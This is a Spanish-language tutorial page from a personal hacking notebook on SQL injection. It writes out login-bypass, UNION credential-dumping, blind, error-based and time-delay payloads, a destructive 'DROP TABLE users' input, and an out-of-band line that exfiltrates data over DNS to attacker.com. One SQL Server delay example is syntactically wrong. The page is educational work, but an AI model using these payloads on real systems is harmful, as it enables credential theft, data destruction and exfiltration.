beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
  • PREPARAR PT1
    • Organización
Powered by GitBook
On this page
  • ¿Qué es la inyección SQL (SQLi)?
  • Impacto de un ataque exitoso
  • Cómo detectar vulnerabilidades SQLi
  • Inyección SQL en diferentes partes de la consulta
  • Ejemplos de ataques SQLi
  • Recuperación de datos ocultos
  • Bypass de autenticación
  • UNION attack para obtener datos de otras tablas
  • Inyección SQL ciega (Blind SQL Injection)
  • Inyección SQL de segundo orden (Second-order SQL Injection)
  • Examinando la base de datos
  • Inyección SQL en diferentes contextos
  • Ataques UNION
  • Determinación del número de columnas necesarias
  • Sintaxis específica de cada base de datos
  • Encontrando columnas con un tipo de dato útil
  • Uso de un ataque de inyección SQL mediante UNION para recuperar datos interesantes
  • Recuperando múltiples valores dentro de una sola columna
  • Inyección SQL Ciega
  • Explotación de inyección SQL ciega mediante respuestas condicionales
  • Error-based SQL Injection
  • Exploiting Blind SQL Injection by Triggering Time Delays
  • Exploiting Blind SQL Injection Using Out-of-Band (OAST) Techniques
  • Cómo Prevenir la Inyección SQL
  • Código Vulnerable
  • Prevención de Inyección SQL con Sentencias Preparadas
  • Usos de Consultas Parametrizadas
  • Requisitos para una Consulta Parametrizada Eficaz
  • SQL Injection Cheat Sheet
  • Concatenación de cadenas
  • Subcadena
  • Comentarios
  • Versión de la base de datos
  • Contenido de la base de datos
  • Errores condicionales
  • Extracción de datos a través de mensajes de error visibles
  • Consultas encadenadas (Batched queries)
  • Retrasos en el tiempo (Time delays)
  • Retrasos condicionales en el tiempo
  • Búsqueda DNS
  • Búsqueda DNS con exfiltración de datos

Was this helpful?

  1. WEB SECURITY

SQL Injection

¿Qué es la inyección SQL (SQLi)?

La inyección SQL (SQLi) es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Esto puede permitirle:

  • Ver datos que normalmente no debería acceder (credenciales, información personal, etc.).

  • Modificar o eliminar datos.

  • Escalar el ataque para comprometer el servidor o la infraestructura de backend.

  • Realizar ataques de denegación de servicio (DoS).

Impacto de un ataque exitoso

Un ataque SQLi exitoso puede provocar acceso no autorizado a:

  • Contraseñas.

  • Detalles de tarjetas de crédito.

  • Información personal de los usuarios.

Históricamente, ha sido una de las principales causas de filtraciones de datos de alto perfil.

Cómo detectar vulnerabilidades SQLi

Puedes detectar SQLi mediante pruebas manuales o con herramientas automatizadas (como Burp Scanner). Algunas pruebas manuales incluyen:

  • Insertar un apóstrofe (') y observar si se generan errores.

  • Usar operadores booleanos (OR 1=1 y OR 1=2) para analizar la diferencia en las respuestas.

  • Inyectar cargas útiles para generar retrasos en la respuesta.

  • Utilizar técnicas OAST (Out-of-band Application Security Testing) para detectar interacciones fuera de banda.

Inyección SQL en diferentes partes de la consulta

Aunque la mayoría de las inyecciones SQL ocurren en la cláusula WHERE de una consulta SELECT, también pueden presentarse en:

  • Sentencias UPDATE (en valores actualizados o en la cláusula WHERE).

  • Sentencias INSERT (en valores insertados).

  • En la selección de nombres de tablas o columnas.

  • En la cláusula ORDER BY.

Ejemplos de ataques SQLi

Recuperación de datos ocultos

Imagina una aplicación de compras que muestra productos en diferentes categorías. Cuando el usuario hace clic en la categoría "Regalos" (Gifts), su navegador solicita la siguiente URL:

https://insecure-website.com/products?category=Gifts

Esto provoca que la aplicación ejecute la siguiente consulta SQL para recuperar los detalles de los productos relevantes desde la base de datos:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1;

Esta consulta solicita a la base de datos que devuelva:

  • Todos los detalles (*)

  • De la tabla products

  • Donde la categoría es 'Gifts'

  • Y released = 1 (se usa para ocultar productos no publicados, suponiendo que los productos no publicados tienen released = 0).

La aplicación no implementa ninguna defensa contra ataques de inyección SQL. Esto permite que un atacante manipule la consulta enviando una URL maliciosa como la siguiente:

https://insecure-website.com/products?category=Gifts'--

Esto generaría la siguiente consulta SQL en el backend:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1;

El -- es un indicador de comentario en SQL, lo que significa que el resto de la consulta se trata como un comentario y se ignora. En este caso, la condición AND released = 1 queda eliminada, permitiendo que se muestren todos los productos, incluso los que aún no han sido publicados.

Un atacante también podría modificar la URL para ver todos los productos de la base de datos, incluso aquellos de categorías desconocidas:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Esto generaría la siguiente consulta:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1;

La condición OR 1=1 siempre es verdadera, por lo que la consulta devuelve todos los productos de la base de datos, sin importar su categoría o estado de publicación.

Si bien inyectar OR 1=1 parece inofensivo cuando se usa en consultas SELECT, muchas aplicaciones reutilizan los datos de una solicitud en múltiples consultas SQL.

Si esta inyección alcanza una consulta UPDATE o DELETE, podría causar la modificación o eliminación masiva de datos.

Bypass de autenticación

Si la consulta de autenticación es:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese';

Un atacante puede iniciar sesión como administrador con la siguiente entrada:

Username: administrator'--
Password: (vacío)

La consulta modificada será:

SELECT * FROM users WHERE username = 'administrator'--' AND password = '';

UNION attack para obtener datos de otras tablas

Si la consulta es:

SELECT name, description FROM products WHERE category = 'Gifts';

El atacante puede inyectar:

' UNION SELECT username, password FROM users--

Modificando la consulta para obtener credenciales de usuario:

SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users--';

Inyección SQL ciega (Blind SQL Injection)

Muchas vulnerabilidades de inyección SQL son ciegas. Esto significa que la aplicación no devuelve los resultados de la consulta SQL ni detalles de errores de la base de datos en sus respuestas.

Aunque estas vulnerabilidades pueden ser más difíciles de explotar, aún es posible acceder a datos no autorizados mediante técnicas avanzadas.

Dependiendo del tipo de vulnerabilidad y de la base de datos, se pueden emplear diversas estrategias:

Manipulación de la lógica de la consulta

Se puede modificar la consulta para generar una diferencia detectable en la respuesta de la aplicación, dependiendo de la veracidad de una condición.

Ejemplo: inyectar una condición en una lógica booleana

' OR 1=1 --

O forzar un error condicional, como una división por cero:

' OR 1=1 AND 1/0=1 --

Si la aplicación maneja errores de forma diferente a una respuesta normal, se puede inferir información sobre la base de datos.

Retrasos en la ejecución de la consulta (Time-Based SQL Injection)

Si la aplicación no muestra errores ni diferencias en la respuesta, se puede inyectar un retraso intencionado en la consulta y medir el tiempo de respuesta.

Ejemplo para MySQL (usando SLEEP()):

' OR IF(1=1, SLEEP(5), 0) --

Ejemplo para SQL Server (usando WAITFOR DELAY):

' OR IF(1=1) WAITFOR DELAY '0:0:5' --

Si la respuesta tarda más de lo normal, significa que la condición inyectada se evaluó como TRUE, permitiendo extraer información bit a bit.

Interacciones fuera de banda (Out-of-Band, OAST)

Cuando las técnicas anteriores no funcionan, se pueden utilizar canales externos para exfiltrar datos.

Por ejemplo, se puede hacer que la base de datos realice una búsqueda DNS con los datos robados hacia un dominio controlado por el atacante:

' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\file')) --

Esto permite extraer información sin que la aplicación lo detecte.

Inyección SQL de segundo orden (Second-order SQL Injection)

Ocurre cuando la aplicación almacena la entrada del usuario en la base de datos sin vulnerabilidad inmediata, pero en una solicitud futura la recupera y la usa en una consulta SQL de manera insegura.

Es peligrosa porque los desarrolladores pueden creer que los datos almacenados son seguros y no los validan antes de reutilizarlos.

Un usuario malicioso se registra en la aplicación con el siguiente nombre:

user'; DROP TABLE users; --

La aplicación maneja correctamente la inserción en la base de datos y almacena el nombre sin ejecutar la inyección.

En un momento posterior, la aplicación usa ese nombre en una consulta SQL insegura:

SELECT * FROM users WHERE username = 'user'; DROP TABLE users; --';

Aquí, cuando la aplicación usa el nombre almacenado sin validarlo, ejecuta el DROP TABLE, eliminando toda la tabla users.

Examinando la base de datos

Para explotar vulnerabilidades de inyección SQL, es fundamental obtener información sobre la base de datos, incluyendo:

El tipo y la versión del software de la base de datos. Las tablas y columnas que contiene la base de datos.

Consultando el tipo y versión de la base de datos

Se pueden inyectar consultas específicas para cada proveedor de bases de datos y determinar cuál funciona.

Tipo de Base de Datos

Consulta para obtener la versión

Microsoft SQL Server, MySQL

SELECT @@version

Oracle

SELECT * FROM v$version

PostgreSQL

SELECT version()

Si la aplicación es vulnerable a SQL Injection, se puede intentar:

' UNION SELECT @@version--

Si la base de datos es Microsoft SQL Server, puede devolver un resultado como este:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: )

Esto confirma que la base de datos es SQL Server y revela su versión.

Listando el contenido de la base de datos

Listar las tablas en bases de datos (excepto Oracle)

SELECT * FROM information_schema.tables;

Ejemplo de salida:

TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
TABLE_TYPE

MyDatabase

dbo

Products

BASE TABLE

MyDatabase

dbo

Users

BASE TABLE

MyDatabase

dbo

Feedback

BASE TABLE

Aquí se identifican las tablas Products, Users y Feedback.

Listar columnas de una tabla específica

SELECT * FROM information_schema.columns WHERE table_name = 'Users';

Ejemplo de salida:

TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
DATA_TYPE

MyDatabase

dbo

Users

UserId

int

MyDatabase

dbo

Users

Username

varchar

MyDatabase

dbo

Users

Password

varchar

Esto muestra las columnas de la tabla Users, incluyendo UserId, Username y Password.

Listando el contenido de una base de datos Oracle

Oracle no usa information_schema, pero se pueden usar otras vistas del sistema:

Listar todas las tablas:

SELECT * FROM all_tables;

Listar todas las columnas de una tabla específica:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS';

Inyección SQL en diferentes contextos

Las inyecciones SQL pueden aparecer en entradas JSON o XML. Ejemplo de SQLi en XML:

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

Ataques UNION

Cuando una aplicación es vulnerable a inyección SQL y los resultados de la consulta se devuelven dentro de las respuestas de la aplicación, puedes utilizar la palabra clave UNION para recuperar datos de otras tablas dentro de la base de datos. Esto se conoce comúnmente como un ataque de inyección SQL mediante UNION.

La palabra clave UNION permite ejecutar una o más consultas SELECT adicionales y agregar los resultados a la consulta original. Por ejemplo:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2;

Esta consulta SQL devuelve un único conjunto de resultados con dos columnas, que contienen valores de las columnas a y b en table1 y de las columnas c y d en table2.

Para que una consulta UNION funcione, se deben cumplir dos requisitos clave:

  1. Las consultas individuales deben devolver el mismo número de columnas.

  2. Los tipos de datos en cada columna deben ser compatibles entre las consultas individuales.

Para llevar a cabo un ataque de inyección SQL mediante UNION, asegúrate de que tu ataque cumpla con estos dos requisitos. Normalmente, esto implica averiguar:

  • Cuántas columnas devuelve la consulta original.

  • Qué columnas devueltas por la consulta original tienen un tipo de dato adecuado para contener los resultados de la consulta inyectada.

Determinación del número de columnas necesarias

Cuando realizas un ataque de inyección SQL mediante UNION, hay dos métodos efectivos para determinar cuántas columnas devuelve la consulta original.

Un método consiste en inyectar una serie de cláusulas ORDER BY e incrementar el índice de columna especificado hasta que ocurra un error. Por ejemplo, si el punto de inyección está dentro de una cadena entre comillas en la cláusula WHERE de la consulta original, enviarías:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Y así sucesivamente.

Esta serie de cargas útiles modifica la consulta original para ordenar los resultados por diferentes columnas en el conjunto de resultados. La columna en ORDER BY se puede especificar por su índice, por lo que no es necesario conocer los nombres de las columnas.

Cuando el índice de columna especificado excede el número real de columnas en el conjunto de resultados, la base de datos devuelve un error, como:

The ORDER BY position number 3 is out of range of the number of items in the select list.

La aplicación podría devolver el error de la base de datos en su respuesta HTTP, emitir una respuesta de error genérica o simplemente no devolver ningún resultado. De cualquier manera, siempre que puedas detectar una diferencia en la respuesta, puedes inferir cuántas columnas se devuelven en la consulta.

Otro método consiste en enviar una serie de cargas útiles UNION SELECT, especificando un número diferente de valores NULL:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Y así sucesivamente.

Si el número de valores NULL no coincide con el número de columnas, la base de datos devuelve un error como:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Usamos NULL como valores en la consulta inyectada porque los tipos de datos en cada columna deben ser compatibles entre la consulta original y la inyectada. NULL es convertible a cualquier tipo de dato común, lo que maximiza la posibilidad de que la carga útil tenga éxito cuando el número de columnas es correcto.

Al igual que con la técnica ORDER BY, la aplicación puede devolver el error de la base de datos en su respuesta HTTP, una respuesta genérica o simplemente no mostrar resultados.

Cuando el número de valores NULL coincide con el número de columnas, la base de datos devuelve una fila adicional en el conjunto de resultados, con valores NULL en cada columna. El efecto en la respuesta HTTP depende del código de la aplicación. Si tienes suerte, verás contenido adicional en la respuesta, como una fila extra en una tabla HTML.

De lo contrario, los valores NULL pueden desencadenar un error diferente, como un NullPointerException. En el peor de los casos, la respuesta podría parecer la misma que una respuesta con un número incorrecto de NULL, lo que haría que este método fuera ineficaz.

Sintaxis específica de cada base de datos

En Oracle, cada consulta SELECT debe usar la palabra clave FROM y especificar una tabla válida. Existe una tabla incorporada en Oracle llamada DUAL, que se puede usar para este propósito. Por lo tanto, las consultas inyectadas en Oracle deben verse así:

' UNION SELECT NULL FROM DUAL--

Las cargas útiles descritas utilizan la secuencia de comentario de doble guion -- para comentar el resto de la consulta original después del punto de inyección.

En MySQL, la secuencia de doble guion -- debe ir seguida de un espacio. Como alternativa, se puede usar el carácter # para indicar un comentario.

Para más detalles sobre la sintaxis específica de cada base de datos, consulta la SQL Injection Cheat Sheet.

Encontrando columnas con un tipo de dato útil

Un ataque de inyección SQL mediante UNION te permite recuperar los resultados de una consulta inyectada. Los datos interesantes que deseas obtener suelen estar en forma de cadena de texto. Esto significa que necesitas encontrar una o más columnas en los resultados de la consulta original cuyo tipo de dato sea compatible con datos de tipo string.

Después de determinar el número de columnas requeridas, puedes probar cada columna para verificar si puede contener datos de tipo string. Para hacerlo, envía una serie de cargas útiles UNION SELECT colocando un valor de cadena en cada columna, una por una.

Por ejemplo, si la consulta devuelve cuatro columnas, puedes probar con:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Si el tipo de dato de una columna no es compatible con datos de tipo string, la consulta inyectada provocará un error en la base de datos, como:

Conversion failed when converting the varchar value 'a' to data type int.

Si no ocurre un error y la respuesta de la aplicación contiene algún contenido adicional con el valor de cadena inyectado, entonces la columna correspondiente es adecuada para recuperar datos en formato string.

Uso de un ataque de inyección SQL mediante UNION para recuperar datos interesantes

Una vez que hayas determinado el número de columnas devueltas por la consulta original y encontrado cuáles columnas pueden contener datos de tipo string, estarás en posición de recuperar datos interesantes.

Supongamos que:

  • La consulta original devuelve dos columnas, ambas capaces de contener datos de tipo string.

  • El punto de inyección está en una cadena entre comillas dentro de la cláusula WHERE.

  • La base de datos contiene una tabla llamada users con las columnas username y password.

En este caso, puedes recuperar el contenido de la tabla users enviando la siguiente entrada:

' UNION SELECT username, password FROM users--

Para llevar a cabo este ataque, necesitas saber que existe una tabla llamada users con dos columnas llamadas username y password. Sin esta información, tendrías que adivinar los nombres de las tablas y columnas. Todas las bases de datos modernas proporcionan maneras de examinar la estructura de la base de datos y determinar qué tablas y columnas contienen.

Recuperando múltiples valores dentro de una sola columna

En algunos casos, la consulta en el ejemplo anterior puede devolver solo una columna.

Puedes recuperar múltiples valores dentro de esta columna única concatenando los valores juntos. Puedes incluir un separador para distinguir los valores combinados. Por ejemplo, en Oracle podrías enviar la siguiente entrada:

' UNION SELECT username || '~' || password FROM users--

Esto utiliza la secuencia de doble barra vertical ||, que es el operador de concatenación de cadenas en Oracle. La consulta inyectada concatena los valores de los campos username y password, separados por el carácter ~.

Los resultados de la consulta contienen todos los nombres de usuario y contraseñas, por ejemplo:

administrator~s3cure
wiener~peter
carlos~montoya

Diferentes bases de datos utilizan diferentes sintaxis para realizar la concatenación de cadenas. Para más detalles, consulta la SQL Injection Cheat Sheet.

Inyección SQL Ciega

La inyección SQL ciega ocurre cuando una aplicación es vulnerable a la inyección SQL, pero sus respuestas HTTP no contienen los resultados de la consulta SQL relevante ni los detalles de los errores de base de datos.

Muchas técnicas, como los ataques UNION, no son efectivas con vulnerabilidades de inyección SQL ciega. Esto se debe a que dependen de poder ver los resultados de la consulta inyectada dentro de las respuestas de la aplicación.

Aún es posible explotar la inyección SQL ciega para acceder a datos no autorizados, pero se deben usar técnicas diferentes.

Explotación de inyección SQL ciega mediante respuestas condicionales

Considera una aplicación que utiliza cookies de seguimiento para recopilar análisis sobre el uso. Las solicitudes a la aplicación incluyen un encabezado de cookie como este:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Cuando se procesa una solicitud que contiene una cookie TrackingId, la aplicación utiliza una consulta SQL para determinar si este es un usuario conocido:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Esta consulta es vulnerable a inyección SQL, pero los resultados de la consulta no se devuelven al usuario. Sin embargo, la aplicación se comporta de manera diferente dependiendo de si la consulta devuelve algún dato. Si envías un TrackingId reconocido, la consulta devuelve datos y recibes un mensaje de "Bienvenido de nuevo" en la respuesta.

Este comportamiento es suficiente para poder explotar la vulnerabilidad de inyección SQL ciega. Puedes recuperar información activando respuestas diferentes condicionalmente, dependiendo de una condición inyectada.

Supongamos que se envían dos solicitudes que contienen los siguientes valores de la cookie TrackingId:

  1. …xyz' AND '1'='1

  2. …xyz' AND '1'='2

  • El primer valor de estas solicitudes hace que la consulta devuelva resultados, porque la condición inyectada AND '1'='1 es verdadera. Como resultado, se muestra el mensaje "Bienvenido de nuevo".

  • El segundo valor hace que la consulta no devuelva resultados, porque la condición inyectada es falsa. El mensaje "Bienvenido de nuevo" no se muestra.

Esto nos permite determinar la respuesta a cualquier condición inyectada y extraer datos uno a uno.

Supón que existe una tabla llamada Users con las columnas Username y Password, y un usuario llamado Administrator. Puedes determinar la contraseña de este usuario enviando una serie de entradas para probar la contraseña, un carácter a la vez.

Para hacerlo, comienza con la siguiente entrada:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Esto devuelve el mensaje "Bienvenido de nuevo", lo que indica que la condición inyectada es verdadera, y por lo tanto, el primer carácter de la contraseña es mayor que m.

Luego, envías la siguiente entrada:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Esto no devuelve el mensaje "Bienvenido de nuevo", lo que indica que la condición inyectada es falsa, y por lo tanto, el primer carácter de la contraseña no es mayor que t.

Eventualmente, envías la siguiente entrada, que devuelve el mensaje "Bienvenido de nuevo", confirmando que el primer carácter de la contraseña es s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Puedes continuar este proceso para determinar sistemáticamente la contraseña completa del usuario Administrator.

Nota: La función SUBSTRING se llama SUBSTR en algunos tipos de bases de datos. Para más detalles, consulta la SQL Injection Cheat Sheet.

Error-based SQL Injection

Error-based SQL injection se refiere a los casos en los que puedes utilizar mensajes de error para extraer o inferir datos sensibles de la base de datos, incluso en contextos ciegos. Las posibilidades dependen de la configuración de la base de datos y de los tipos de errores que puedes provocar:

  • Es posible inducir a la aplicación a devolver una respuesta de error específica basada en el resultado de una expresión booleana. Puedes explotar esto de la misma manera que las respuestas condicionales en inyecciones SQL ciegas. Para más información, consulta Explotando inyecciones SQL ciegas mediante errores condicionales.

  • También puedes forzar mensajes de error que muestren los datos devueltos por la consulta, convirtiendo vulnerabilidades de SQL injection ciegas en visibles. Para más información, consulta Extracción de datos sensibles a través de mensajes de error detallados.

Explotando Blind SQL Injection por Errores Condicionales

Algunas aplicaciones ejecutan consultas SQL sin cambiar su comportamiento, independientemente de si la consulta devuelve datos o no. En estos casos, la técnica de inyección basada en respuestas condicionales no funcionará.

Sin embargo, es posible inducir a la aplicación a devolver una respuesta diferente si se produce un error SQL. Puedes modificar la consulta para provocar un error en la base de datos solo si se cumple una condición. Generalmente, un error no manejado generará una diferencia en la respuesta de la aplicación, como un mensaje de error, lo que te permite inferir la veracidad de la condición inyectada.

Por ejemplo, supongamos que se envían dos solicitudes con los siguientes valores en la cookie TrackingId:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Estos inputs utilizan CASE para evaluar una condición y devolver una expresión distinta según el resultado:

  • En la primera inyección, CASE devuelve 'a', lo que no genera error.

  • En la segunda inyección, CASE evalúa 1/0, lo que provoca un error de división por cero.

Si el error modifica la respuesta HTTP de la aplicación, puedes determinar si la condición inyectada es verdadera.

Extracción de Datos con Errores Condicionales

Puedes extraer datos probando carácter por carácter:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Extracción de Datos Sensibles vía Mensajes de Error

A veces, una configuración incorrecta de la base de datos genera mensajes de error detallados que pueden ser útiles para un atacante. Por ejemplo, tras inyectar una comilla simple en un parámetro id, la aplicación devuelve:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Este mensaje muestra la consulta SQL completa generada con nuestra entrada, revelando que estamos inyectando dentro de una cadena entre comillas en una cláusula WHERE. Esto facilita la construcción de una consulta maliciosa válida.

Algunas veces, es posible forzar a la aplicación a generar un mensaje de error que contenga parte de los datos devueltos por la consulta. Esto convierte una vulnerabilidad SQL injection ciega en una visible.

Uso de CAST() para Provocar Errores

La función CAST() permite convertir un tipo de datos a otro. Si intentas convertir un string a un tipo incompatible, como un int, puede generar un error como:

CAST((SELECT example_column FROM example_table) AS int)

Si el dato es un string, la base de datos puede responder con:

ERROR: invalid input syntax for type integer: "Example data"

Este método es útil si un límite de caracteres impide provocar respuestas condicionales.

Exploiting Blind SQL Injection by Triggering Time Delays

Si la aplicación captura los errores de la base de datos cuando se ejecuta la consulta SQL y los maneja adecuadamente, no habrá ninguna diferencia visible en la respuesta de la aplicación. Esto significa que la técnica anterior de inducción de errores condicionales no funcionará.

En esta situación, es posible explotar la vulnerabilidad de blind SQL injection provocando retrasos en el tiempo de respuesta dependiendo de si una condición inyectada es verdadera o falsa. Como las consultas SQL se procesan normalmente de manera síncrona, retrasar la ejecución de una consulta SQL también retrasará la respuesta HTTP. Esto permite determinar la verdad de la condición inyectada basándose en el tiempo que tarda en recibirse la respuesta.

Técnicas de Time Delay según la Base de Datos

Las técnicas para provocar un retraso dependen del tipo de base de datos utilizada. Por ejemplo, en Microsoft SQL Server, puedes usar la siguiente inyección para probar una condición y generar un retraso si la expresión es verdadera:

'; IF (1=2) WAITFOR DELAY '0:0:10'--  
'; IF (1=1) WAITFOR DELAY '0:0:10'--  

Extracción de Datos Usando Time Delay

Puedes utilizar esta técnica para recuperar datos probando carácter por carácter. Por ejemplo, para verificar si el primer carácter de la contraseña de Administrator es mayor que 'm':

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--  

Exploiting Blind SQL Injection Using Out-of-Band (OAST) Techniques

En algunos casos, una aplicación puede ejecutar una consulta SQL de manera asíncrona, lo que significa que:

  • La respuesta de la aplicación no depende de los datos devueltos por la consulta.

  • No es posible inducir un error visible en la aplicación.

  • El tiempo de ejecución de la consulta no afecta la respuesta HTTP.

A pesar de esto, la consulta aún puede ser vulnerable a SQL injection, y podemos explotar esta vulnerabilidad mediante interacciones de red out-of-band (OAST).

Uso de Interacciones de Red Out-of-Band

